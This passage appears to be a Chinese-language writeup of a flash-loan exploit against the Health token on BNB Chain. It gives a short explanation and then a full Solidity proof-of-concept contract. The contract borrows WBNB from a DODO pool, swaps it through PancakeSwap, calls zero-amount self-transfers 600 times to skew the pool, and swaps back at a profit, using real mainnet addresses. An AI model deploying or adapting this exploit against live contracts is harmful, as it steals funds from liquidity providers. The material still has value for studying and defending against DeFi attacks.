攻击者通过dodo闪电贷获取了40个WBNB,通过pancakeSwap的Router兑换了30565652268756555675523626个
相同数目的Health token应该只能swap出个40000000000000000000
但是却兑换出了56641927146106351887,归还闪电贷后,至此黑客获利16641927146106351887。也就是16BNB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
pragma solidity ^
0.8
.
0
;
interface IERC20 {
event Transfer(address indexed
from
, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (
bool
);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (
bool
);
function transferFrom(
address
from
,
address to,
uint256 amount
) external returns (
bool
);
}
interface Uni_Router_V2 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
}
interface IDPPAdvanced {
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external;
}
interface IWBNB {
function balanceOf(address account) external view returns (uint256);
function withdraw(uint wad) external;
function deposit() external payable;
function approve(address guy, uint wad) external returns (
bool
);
}
interface IPancakeRouter {
function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IHealth {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (
bool
);
function transfer(address recipient, uint256 amount) external returns (
bool
);
}
interface IPancakePair {
function skim(address to) external;
function sync() external;
}
struct DPPAdvancedCallBackData {
uint256 baseAmount;
uint256 quoteAmount;
}
contract ContractTest{
IERC20 HEALTH
=
IERC20(
0x32B166e082993Af6598a89397E82e123ca44e74E
);
IERC20 WBNB
=
IERC20(
0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c
);
Uni_Router_V2 uni_pair
=
Uni_Router_V2(
0xF375709DbdE84D800642168c2e8bA751368e8D32
);
Uni_Router_V2 uni_router
=
Uni_Router_V2(
0x10ED43C718714eb63d5aA57B78B54704E256024E
);
address public constant dodo
=
0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4
;
function testExp() external{
WBNB.approve(address(uni_router),
type
(uint).
max
);
HEALTH.approve(address(uni_router),
type
(uint).
max
);
uint256 borrown_wbnb_amt
=
200
*
1e18
;
DPPAdvancedCallBackData memory callbackData;
callbackData.baseAmount
=
borrown_wbnb_amt;
callbackData.quoteAmount
=
0
;
bytes memory data
=
abi.encode(callbackData);
IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt,
0
,address(this),data);
}
fallback() external payable {
}
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external {
WBNBToHEALTH();
for
(uint i
=
0
; i <
600
; i
+
+
){
HEALTH.transfer(address(this),
0
);
}
HEALTHToWBNB();
WBNB.transfer(dodo,
200
*
1e18
);
}
function WBNBToHEALTH() internal{
address[] memory path
=
new address[](
2
);
path[
0
]
=
address(WBNB);
path[
1
]
=
address(HEALTH);
uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)),
0
,
path,
address(this),
block.timestamp
);
}
function HEALTHToWBNB() internal{
address[] memory path
=
new address[](
2
);
path[
0
]
=
address(HEALTH);
path[
1
]
=
address(WBNB);
uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
HEALTH.balanceOf(address(this)),
0
,
path,
address(this),
block.timestamp
);
}
}